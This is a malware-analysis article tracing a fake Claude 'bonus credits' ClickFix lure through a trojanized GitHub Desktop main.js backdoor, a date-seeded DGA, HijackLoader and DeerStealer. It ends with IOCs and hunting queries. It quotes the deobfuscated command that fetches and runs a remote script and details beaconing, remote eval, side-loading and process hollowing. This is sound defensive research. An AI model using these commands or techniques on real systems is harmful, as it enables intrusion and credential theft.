12 min read
ClickFix to DeerStealer: Reversing a Trojanized GitHub Desktop
A fake Claude CAPTCHA plants a backdoor in a legitimately-signed GitHub Desktop, with a C2 that rotates every ten days. The rotation is a date-seeded algorithm, and reversing it exposed every domain the campaign will ever use. From the clipboard paste to the DeerStealer payload in memory, this article deconstructs the whole chain.
Key Takeaways
- A fake Claude site,
claudedevz[.]net, uses a ClickFix CAPTCHA to trick victims into running PowerShell, suspected as part of a “Claude bonus credits” scam. - The PowerShell installs a legitimate, signed copy of GitHub Desktop with an obfuscated backdoor injected into
resources\app\main.js. - The backdoor beacons to a DGA C2 seeded by date, which can be reverse engineered to enumerate all past and future C2 domains.
- The C2 serves a HijackLoader payload that abuses three more signed binaries — through DLL side-loading and process hollowing — to run DeerStealer (aka “XFiles Spyware”), a commodity spyware suite with hidden remote desktop, keylogging, and browser/credential theft.
1. The ClickFix Lure: “Free Claude Credits”
claudedevz[.]net and claudedevz[.]net/bonus-credits impersonate Anthropic’s Claude behind a classic fake Cloudflare CAPTCHA, suggesting the broader campaign aligns with a Claude credits/usage scam.
![claudedevz[.]net impersonating Claude behind a fake Cloudflare CAPTCHA.](/img/research/clickfix-github-desktop-backdoor/lure1.webp)
claudedevz[.]net impersonating Claude behind a fake Cloudflare CAPTCHA.
The domain was registered and first seen on 09-30-2026. To “verify you’re human,” victims must press Win+R, Ctrl+V, and Enter — which copies and runs the following obfuscated PowerShell one-liner:

Deobfuscated, it invokes a remote script from cocuktekstil[.]com/r:
![The deobfuscated one-liner: iex (Invoke-RestMethod 'cocuktekstil[.]com/r').](/img/research/clickfix-github-desktop-backdoor/code-02.webp)
![The first-stage script served from cocuktekstil[.]com/r.](/img/research/clickfix-github-desktop-backdoor/https-cocuktekstil-com-r.webp)
cocuktekstil[.]com/r.That script decodes a base64 payload into a randomly named .ps1 and runs it in a hidden PowerShell window:

This dropper downloads a “GitHub Desktop” package, github.zip, from cocuktekstil[.]com/g.php, extracts it to %USERPROFILE%\gynnnhjaya\, deletes the archive, and launches GitHubDesktop.exe through a scheduled task named taskvwawjg. The delivery domain was registered four days before the lure.

2. File-Date Triage: Finding the Imposter
Two things are obvious: Claude isn’t giving away any free credits, and this is malicious. But the next stage of the attack isn’t as clear. The download is a 183 MB ZIP that genuinely looks like GitHub Desktop — because, apart from one file, it is.
The downloaded GitHubDesktop.exe is a legitimate, GitHub-signed 3.5.7-beta2 build, and every other binary in the package is signed. There are almost 1,000 files total here, and the ZIP is too big to run in a sandbox. So we need a creative way to identify the imposter and continue tracing the malware.


GitHubDesktop.exe on VirusTotal — GitHub-signed, zero detections.
Leadless hunting is a game of anomalies, and 9 times out of 10, if the attacker was here, they left something behind. Rather than search for something suspicious, we can search for something different.
Lo and behold — sorting the files by date was all it took.

LastWriteTime: one file stands apart.
909 of the 910 total files were last written on 03-12-2026 — as expected, the same day GitHub published the 3.5.7-beta2 pre-release. However, exactly one file was written over six months later, on 09-30-2026: resources\app\main.js.
As the insightful Mr. Kropp once said, “Coincidence? I think not.”
package.json confirms that main.js is the app’s entry point, which makes sense for an attacker to modify:

"main": "./main.js" — Electron's entry point.For the uninitiated, GitHub Desktop is an Electron app: a signed executable (Chromium and Node.js) that runs JavaScript. Electron loads its code from resources\, either from an app.asar archive or a plain app\ folder. GitHub Desktop happens to ship unpacked (asar: false), so nothing verifies main.js — free lunch for attackers!
LevelBlue SpiderLabs demonstrated this technique on GitHub Desktop in May 2026.
3. Inside the Backdoor: main.js
The weaponized main.js is an obfuscated copy of the original, with roughly 170 lines of backdoor code injected. It’s wrapped in an obfuscator.io-style string-array layer on top of a bytecode virtual machine, consistent with javascriptobfuscator.com’s VM Bytecode Protection.

main.js.
For deobfuscation, Webcrack (an npm tool) reverses the string-array layer and unpacks the bundle:

That leaves us with about 26,000 lines of code, most of it the genuine app.
Keyword-grepping the file for dangerous JavaScript primitives like eval and child_process returned mostly legitimate code, except for two hits: an eval() and a child_process.exec(), just 28 lines apart — the backdoor.
Select-String -Path .\deobfuscated.js -Pattern 'eval\(|child_process' | Select-Object LineNumber, Line
LineNumber Line
---------- -----------------------------------------
10358 const C = eval(b.e);
10386 require("child_process").exec(`"${W}"`, {
Here are lines 10,326–10,404 of the deobfuscated main.js, with comments added to explain backdoor functionality:

Backdoor capabilities
In ~170 lines, the injected code turns a trusted app into a persistent backdoor that runs dynamic payloads from a C2:
- Victim ID: stored in
%APPDATA%\daemons.logas a random 8-character string and reused on every run. - Campaign tag: optionally read from a
readme.txtnext to the EXE (XXXXorXXXX-YYYY). This sample had none. - Beacon:
POST /nlu/to the C2 every 180 seconds with the victim ID, computer name, and username as JSON. - Remote JavaScript:
task.eruns througheval()with full Node.js access. - Payload drop:
task.fileswrites base64 files to%TEMP%\<timestamp-in-ms>\and runs the last.exe. - Persistence: the Run key
electron.app.GitHub Desktopstarts it at every logon. - No real app: as written, the beacon loop never ends, so GitHub Desktop itself never starts.
- Hidden C2: a bytecode virtual machine at the top of the file computes a rotating, date-seeded C2 domain (Section 4).
Only one engine on VirusTotal flags the trojanized file.

main.js on VirusTotal — 1/61 detections.Detonating the backdoor behind FakeNet-NG exposed the first C2, edgnltatqptann[.]com, and the POST /nlu/ beacon:

[victimID, COMPUTERNAME, USERNAME].As expected, the Run key and the victim ID appeared:

electron.app.GitHub Desktop Run key and the victim ID gml7g2ur.4. Exposing the C2 Infrastructure
The first detonation beaconed to edgnltatqptann[.]com. But when I ran the same sample again a few days later, it beaconed to a new host, aeyibtnr[.]com — identical sample, identical execution, different domain. The C2 isn’t hardcoded.
![Second run, same sample: a new host, aeyibtnr[.]com.](/img/research/clickfix-github-desktop-backdoor/c2-dga-rotated.webp)
aeyibtnr[.]com.It turns out the C2 domain comes from one part of the backdoor I hadn’t looked at closely — the bytecode virtual machine at the top of main.js:

Rather than reverse the VM by hand, I resorted to some creative dynamic analysis — I isolated the interpreter and ran it with a small harness under a fake clock, set to varying dates.
The output was a domain generation algorithm (DGA) seeded only by the date. Every 10 days, the malware independently rotates the C2 it points at — which explains why my follow-up run produced a new domain from the same sample.
Because the DGA seed is only the date, it’s trivial to enumerate every single past and future C2 domain:

Pairing the reverse-engineered domains with DNS lookups, this campaign appears new — as of today it has rotated only once.
More interestingly, the operator doesn’t pre-register domains — so a defender could get in front of the rotation and sinkhole the next window’s traffic by registering its domain first.

5. Capturing the C2’s Payload
To capture what the C2 serves without fully running the backdoor, I wrote a small read-only client that mimics the beacon and saves the response.
Immediately after check-in, the C2 returned a task.files set of ten files, which I captured to disk.

task.files response.
VirusTotal’s behavior analysis corroborated the same chain: Logic-Inspector.exe is dropped into the backdoor’s %TEMP%\<13-digit timestamp>\ task folder, then copied into a ProgramData folder.

Logic-Inspector.exe into C:\ProgramData\comsrvmicro_win64\.Logic-Inspector.exe is a genuine, signed copy of UltraViewer, a legitimate remote-desktop tool. Surprisingly, the RMM is not the malware here. The malware is actually hidden in the two DLLs served alongside it — msvbvm60.dll and libHarfBuzzSharp.dll, both flagged as HijackLoader/Rugmi.

Logic-Inspector.exe is UltraViewer's signed UltraViewer_Desktop.exe — 0/69 on VirusTotal.Logic-Inspector.exe is a Visual Basic 6 program, so at startup it loads the VB6 runtime msvbvm60.dll from its own folder — the perfect side-load target. The attacker drops a malicious msvbvm60.dll beside the signed EXE, which loads it without question: textbook DLL side-loading (T1574.002). That rogue DLL then pulls in the second, libHarfBuzzSharp.dll (§6 covers how the two split the work).
A signature check makes the split clear. UltraViewer and the two Microsoft runtime DLLs are validly signed — the two loaders aren’t. libHarfBuzzSharp.dll still carries a Microsoft third-party signature, but it no longer verifies — meaning the file was patched after signing. msvbvm60.dll isn’t signed at all.

The next stage is the same trick as main.js — leveraging a trusted, signed program to run malicious code.
6. The HijackLoader
AV engines label the DLLs “Rugmi,” but that’s a detection tag, not the family. The loader itself is HijackLoader — a commodity loader family (also tracked as IDAT Loader, GHOSTPULSE, or DOILoader) whose job is to unpack and run a final payload.

msvbvm60.dll on VirusTotal — 21/70, with ESET, Microsoft, Fortinet and others naming Rugmi.
libHarfBuzzSharp.dll — 24/69 Rugmi, tagged invalid-signature (patched after signing).The two DLLs split the loader’s work. msvbvm60.dll is a patched copy of the genuine Visual Basic 6 runtime — the dependency UltraViewer actually needs: it reads buffer4.log off disk and loads the second DLL, libHarfBuzzSharp.dll, carrying its own ~25 KB encrypted overlay to continue the unpack. A loader that reads an on-disk blob + one carrying an embedded blob follows the general HijackLoader multi-component structure.
Two of the ten files served by the C2 were unique to this campaign — buffer4.log and entity_svc.meta — and absent from VirusTotal until I submitted them. buffer4.log came back flagged Trojan.HijackLoader, confirming the family.
buffer4.log is the encrypted payload. Its first 16 KB are ASCII filler to make it look like a log; the rest is a GHOSTPULSE container — 620 IDAT chunks behind the C6 A5 79 EA marker, encrypted with the family’s documented 4-byte-XOR-then-LZNT1 scheme. Decrypting this by hand is slow and version-specific, so instead I’ll let the loader decrypt itself in FlareVM and dump the result from memory.

buffer4.log: printable ASCII filler disguising the encrypted GHOSTPULSE payload that follows it.
buffer4.log on VirusTotal — flagged Trojan.HijackLoader.When launched, Logic-Inspector.exe copies all ten files to C:\ProgramData\NODECheck\ (set by the loader’s config, varies between builds), relaunches from there, side-loads the two Rugmi DLLs, decrypts buffer4.log, and drops two more signed binaries.
The first binary dropped is a genuine, signed Qihoo 360 binary whose original filename is DailyNews.exe; the loader drops it as %TEMP%\VerPipeline.exe. The second is memu.exe, a signed MEmu component.
The loader then hollows VerPipeline.exe, replacing the signed process’s code in memory with a 32-bit implant — and that implant is DeerStealer. Running from inside the trusted, signed process, it beacons over raw TCP to 179.43.182[.]101:3333 (its control port); the config also declares a data port, 3334, for the HVNC/exfil channel.


VerPipeline.exe as replaced — a hollowed process.![The hollowed VerPipeline.exe beaconing to 179.43.182[.]101:3333.](/img/research/clickfix-github-desktop-backdoor/verpipelinefakenet.webp)
VerPipeline.exe beaconing to 179.43.182[.]101:3333.All three host binaries are legitimately signed — UltraViewer (Logic-Inspector.exe), Qihoo 360 DailyNews.exe (dropped as VerPipeline.exe), and MEmu (memu.exe). Malicious code only ever exists unpacked in memory, or inside DLLs named to look like dependencies.

DailyNews.exe, flagged by a single engine (trojan.shellter).7. DeerStealer: Capabilities and Keylogging
To confirm the final payload, I dumped VerPipeline.exe’s memory and ran strings over the injected implant. Its C2 beacon configuration sat in cleartext, and the config fields match the XFiles Spyware suite — sold by the actor XFILES (@LuciferXfiles) and known in the research community as DeerStealer.
Here is the implant’s C2 beacon captured from the live process — the string fields are base64-encoded UTF-16:

Decoding the base64 fields gives the host profile and the then-active window:
computer = FLARE-WIN11
user = admin
window = Jump List for Windows PowerShell
av = Windows Defender(ON)
monitors = \\.\DISPLAY1 (1920x966 @ 64)
Implant Capabilities
Running FLOSS over the injected module recovers its strings; grouped by function below, they map cleanly onto the implant’s capabilities:
- Hidden remote desktop (HVNC):
controlport,dataport, andtunnelport, plusmonitors,frame, andratefor streaming the screen. - Keylogger: key tokens such as
<ESC>,<TAB>, and<WIN>, plus the active window title on each capture. - Browser and credential theft: cookies, logins, profiles, extensions, and saved passwords.
- Encryption: ChaCha20 (
expand 32-byte k) with a custom base62 alphabet for its traffic and stored files.

The stolen data lands under C:\ProgramData\Dazekuw\, laid out by the implant’s own store config (recovered from memory):

dd is the drop directory (C:\ProgramData\Dazekuw); kf ("Vavufo") is likely the 'keylog' file.
C:\ProgramData\Dazekuw\.
Dumping the implant from memory also recovered some of the infostealer’s captured data in cleartext:
→ a window-focus log (each focused window with its timestamp and process path)

→ the beacon stream, which tags every check-in with the active window title

window titles from the beacon stream, by frequency.Attribution & Open Items
Attribution. The whole chain up to the final stage is directly observed — the beacon, the reversed DGA, the served payload with on-disk hashes, the hollowing of the signed Qihoo 360 host, and the implant’s own cleartext keylog/HVNC config and :3333 beacon — and it matches documented ClickFix → HijackLoader → DeerStealer/XFiles tradecraft (actor @LuciferXfiles) with high confidence. However, this memory-only reconstruction matches no named DeerStealer sample by hash.
Implant persistence is the one thing this run didn’t show — almost certainly because the lab was sinkholed. The C2 payload also staged memu.exe as a suspected additional side-load host, but the malicious DLL that would likely arm it never made it past the sinkhole.

memu.exe probes for USERENV.dll / WTSAPI32.dll / SspiCli.dll beside it and gets NAME NOT FOUND for suspected side-load DLLs.
memu.exe on VirusTotal — a signed MEmu component, zero detections: a third clean, signed binary lined up for abuse.8. IOCs and Hunting
Hunting queries
# Stage-1 persistence (HKCU Run key) + the launcher task
Get-ItemProperty 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name 'electron.app.GitHub Desktop' -EA SilentlyContinue
Get-ScheduledTask -TaskName 'taskvwawjg' -EA SilentlyContinue
# Known malicious paths
@("$env:APPDATA\daemons.log", "$env:USERPROFILE\gynnnhjaya",
'C:\ProgramData\NODECheck', "$env:APPDATA\NODECheck", 'C:\ProgramData\Dazekuw') |
Where-Object { Test-Path $_ }
# C2 payload-drop folders: %TEMP%\<13-digit epoch-ms>\
Get-ChildItem $env:TEMP -Directory -EA SilentlyContinue | Where-Object Name -match '^\d{13}$'
Behavioral heuristics
GitHubDesktop.exerunning outside its normal install location (%USERPROFILE%\gynnnhjaya\,Downloads,%TEMP%).GitHubDesktop.exelaunching an.exefrom%TEMP%\<13 digits>\.- A
POST /nlu/JSON beacon, plus DNS lookups for the generated DGA domains. - A malicious
USERENV.dllorWTSAPI32.dlldropped next to a MEmu binary in a user-writable folder. - Electron apps whose
resources\app\*.jsfiles don’t match the official build.
Network
| Indicator | Role |
|---|---|
claudedevz[.]net |
Lure |
hxxps://claudedevz[.]net/bonus-credits |
Lure |
cocuktekstil[.]com |
Delivery |
hxxps://cocuktekstil[.]com/r |
First-stage PowerShell |
hxxps://cocuktekstil[.]com/g.php |
Serves github.zip |
edgnltatqptann[.]com |
C2 (window 09-24-2026 to 10-03-2026) |
aeyibtnr[.]com |
C2 (window 10-04-2026 to 10-13-2026) |
anwhinweudee[.]com |
C2 (window 10-14-2026 to 10-23-2026) |
hxxps://<generated>[.]com/nlu/ |
Beacon (POST, every 180 s) |
179.43.182[.]101:3333 (observed) / :3334 (from config) |
DeerStealer C2 — control / data, raw TCP |
Files
| File | SHA-256 | MD5 |
|---|---|---|
github.zip |
5ab3080efc9f1563677b49e1c36b1937a38e4bee2f1c259d8da79c0e06ab1045 |
1e750dd4c3d6a34a1ba0dddd4fa34772 |
resources\app\main.js |
416242568b18fd669338b6da2f8d3e084160bf6b2b91ac12ef3f3e8434b69e53 |
84cadd2a2f609334d7fb930ccc46ee4b |
Payload Bundle
| File | SHA-256 | Role |
|---|---|---|
Logic-Inspector.exe |
fe0e61de04c0b827fcf6e041158e443f77439d257ced4e21a6d16bdd3d52d55b |
Signed UltraViewer (side-load host) |
msvbvm60.dll |
a59aada05cf34a6d22a3ebdd0d0151b06459710450c0a888f7e4ff98416ab160 |
HijackLoader (AV: Rugmi) |
libHarfBuzzSharp.dll |
7428989410a529c89ea64e8316ba0ccfadf60fb17640ce3839c18591149defba |
HijackLoader (AV: Rugmi) |
buffer4.log |
317d2aa925a5110ee783a4cf35092574cb7f67175822790d4dd30a59d6a4c663 |
GHOSTPULSE-encrypted payload |
VerPipeline.exe |
d7e56ec27a3f8ab8c6b81cb146ac41c1e14ef8317dc8680610a9cc906e49d7b2 |
Signed Qihoo 360 DailyNews.exe (hollowed host) |
memu.exe |
6df5e87bfe261f38a5810313c8221c39b5b15206ce672e1a87167edcf82f43ba |
Signed MEmu component (staged host) |
Host Artifacts
| Artifact | Meaning |
|---|---|
Scheduled task taskvwawjg |
Launches GitHubDesktop.exe |
%USERPROFILE%\gynnnhjaya\ |
Extraction folder |
HKCU\...\Run value electron.app.GitHub Desktop |
Persistence (Stage 1) |
%APPDATA%\daemons.log |
Victim ID |
%TEMP%\<13-digit number>\ |
C2 file drop folder |
C:\ProgramData\NODECheck\ and %APPDATA%\NODECheck\ |
HijackLoader staging |
C:\ProgramData\Dazekuw\ |
DeerStealer working/stolen-data folder |
%TEMP%\VerPipeline.exe |
Hollowed signed 360 host running the implant |